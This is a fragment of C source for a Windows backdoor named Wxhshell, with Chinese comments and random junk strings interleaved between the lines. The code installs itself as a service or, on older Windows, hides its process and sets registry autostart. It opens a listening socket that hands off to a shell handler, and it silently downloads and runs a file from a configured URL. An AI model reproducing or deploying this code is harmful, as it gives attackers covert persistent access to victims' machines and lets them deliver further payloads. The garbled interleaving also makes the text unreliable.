^/q7 CloseHandle(hProcess); D|#E9OQzs uSBaDYg hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T9q-,w/j; if(hProcess==NULL) return 0; 2VCI 1E *HB-QIl HMODULE hMod; &]-DqK7 char procName[255]; *4_Bd=5(U unsigned long cbNeeded; s(roJbJ_; >i-"<jG if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dGTsc/$ 8e"gW >f CloseHandle(hProcess); /vb`H>P -s'-eQF J if(strstr(procName,"services")) return 1; // 以服务启动 pFz`}?c0 8sK9G`
k return 0; // 注册表启动 e<q?e}>? } eKqk= ( ymcLFRu, // 主模块 i(+p0:< 0 int StartWxhshell(LPSTR lpCmdLine) y L~W.H { d8x;~RA SOCKET wsl; ?@
$r BOOL val=TRUE; e64 ^ChCoV int port=0; Lq!>kT<]! struct sockaddr_in door; ;P&OX5~V N$:8,9.z if(wscfg.ws_autoins) Install(); w"&n?L eGbGw port=atoi(lpCmdLine); @gXx1hEg b*Q&CL if(port<=0) port=wscfg.ws_port; r-/`"j{O! 5.J.RE"M WSADATA data; ]:/Q]n^ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mUx+Y ]Ep 63x?MY6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; t5IEQ2 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iMRwp+$ door.sin_family = AF_INET; Ok\7y-w^ door.sin_addr.s_addr = inet_addr("127.0.0.1"); njA#@fU door.sin_port = htons(port); Nu~lsWyRI5 T37XBg H if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %BB%pC closesocket(wsl); TrR8?- return 1; w917N4$ } |)/aGZ+ sds"%]rg if(listen(wsl,2) == INVALID_SOCKET) { QoH6 closesocket(wsl); t#eTV@- return 1; !m?-!: } d9|<@A Wxhshell(wsl); 3|Xyl`i4o WSACleanup(); "`1bA"E }?v )N).kW return 0; Z>#i** 2Q:+_v } k~FRD?[u 4#hSJ(~7S // 以NT服务方式启动 dzrio-QU~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r^ ZEImjc { D=&Me=$ DWORD status = 0; K8Y=S12Ti DWORD specificError = 0xfffffff; 4)o $\y'IQ% serviceStatus.dwServiceType = SERVICE_WIN32; @bP)406p serviceStatus.dwCurrentState = SERVICE_START_PENDING; i,9)\1R serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7EO_5/cY serviceStatus.dwWin32ExitCode = 0; PXNh&N serviceStatus.dwServiceSpecificExitCode = 0; WVvvI9 serviceStatus.dwCheckPoint = 0; (7=9++uU serviceStatus.dwWaitHint = 0; %vi<Aseg }U5yQ%N hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'K,:j 388 if (hServiceStatusHandle==0) return; UU0,!?o4 8E]F$.6U status = GetLastError(); "@,}p\ if (status!=NO_ERROR) ZO c) { o J;$sj serviceStatus.dwCurrentState = SERVICE_STOPPED; rguC p}r serviceStatus.dwCheckPoint = 0; Gjo` serviceStatus.dwWaitHint = 0; u!qP serviceStatus.dwWin32ExitCode = status; h>OfOx/{q9 serviceStatus.dwServiceSpecificExitCode = specificError; 85xR2 <: SetServiceStatus(hServiceStatusHandle, &serviceStatus); f^XOUh return; 'Ne@e)s9 } 1c{DY WU=59gB+jL serviceStatus.dwCurrentState = SERVICE_RUNNING; Q^txVUL serviceStatus.dwCheckPoint = 0; dL
)<%
o serviceStatus.dwWaitHint = 0; l8#EM1g- if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]f9Cx\d:k } \.#>=!Ie )U{Qj5W+F // 处理NT服务事件,比如:启动、停止
_~ iw[*#u VOID WINAPI NTServiceHandler(DWORD fdwControl) K~uq,~ { -5QZJF2~ switch(fdwControl) A
'];` { )~ h} case SERVICE_CONTROL_STOP: o`N9!M serviceStatus.dwWin32ExitCode = 0; I83<r 9 serviceStatus.dwCurrentState = SERVICE_STOPPED; (,Df^4%7 serviceStatus.dwCheckPoint = 0; ]yPqLJ serviceStatus.dwWaitHint = 0; ZoZ|Ma { 8X)Y^uGGZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3y8G?LL/[7 } 9\JF`ff_ return; r#]WI| case SERVICE_CONTROL_PAUSE: (+y serviceStatus.dwCurrentState = SERVICE_PAUSED; .z}~4BY break; K~ehP[^ case SERVICE_CONTROL_CONTINUE: P;]F(in= serviceStatus.dwCurrentState = SERVICE_RUNNING; F;0}x;:> break; s>n)B^64W case SERVICE_CONTROL_INTERROGATE: Ng>h"H break; V-L"gnd&2 }; %UCr;H/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); oWo-
j< } =D#bb<o :$BCRQ // 标准应用程序主函数 um>6z_" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^\&e:Nkh { _&ks1cw "y/?WQ>,3 // 获取操作系统版本 7CTFOAx# OsIsNt=GetOsVer(); qE3UO<FA GetModuleFileName(NULL,ExeFile,MAX_PATH); %m$Sp47 ?|B&M\}g // 从命令行安装 P:]^rke~& if(strpbrk(lpCmdLine,"iI")) Install(); _?0}<kQ& Ob&<] // 下载执行文件 VUR |OV% if(wscfg.ws_downexe) { |02gup qqi if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i|*)I:SHU WinExec(wscfg.ws_filenam,SW_HIDE); 'o>B'$ } -"60d
@. H6 HVu | if(!OsIsNt) { }"!I[Ek> y // 如果时win9x,隐藏进程并且设置为注册表启动 q\p:X"j| HideProc(); x-.?HS[ StartWxhshell(lpCmdLine); ILShd)]Rw } RcU}}V else XtSkh] #z! if(StartFromService()) uurh??R // 以服务方式启动 dZ0vA\z| StartServiceCtrlDispatcher(DispatchTable); s
3f-7f< else o;<Xo& // 普通方式启动 mg.kr: StartWxhshell(lpCmdLine); DG ;_Vg 3c6b6 return 0; lHe{\N[C }
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